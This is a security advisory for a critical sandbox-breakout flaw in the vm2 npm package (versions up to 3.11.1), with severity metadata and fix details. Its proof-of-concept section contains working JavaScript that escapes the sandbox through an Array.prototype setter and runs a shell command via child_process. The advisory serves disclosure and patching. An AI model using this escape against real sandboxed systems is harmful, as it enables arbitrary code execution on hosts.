GHSA-9qj6-qjgg-37qq

Suggest an improvement
Source
https://github.com/advisories/GHSA-9qj6-qjgg-37qq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9qj6-qjgg-37qq/GHSA-9qj6-qjgg-37qq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9qj6-qjgg-37qq
Aliases
Downstream
Published
2026-05-08T15:58:48Z
Modified
2026-05-14T20:49:58Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`
Details

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
	set(value) {
		a.f = Buffer.prototype.inspect;
		value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
	}
});
new Buffer(a);
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Database specific
{
    "cwe_ids":  [
        "CWE-668"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-05-08T15:58:48Z",
    "nvd_published_at":  "2026-05-13T18:16:17Z",
    "severity":  "CRITICAL"
}
References

Affected packages

npm / vm2

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.11.2

Database specific

last_known_affected_version_range
"<= 3.11.1"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9qj6-qjgg-37qq/GHSA-9qj6-qjgg-37qq.json"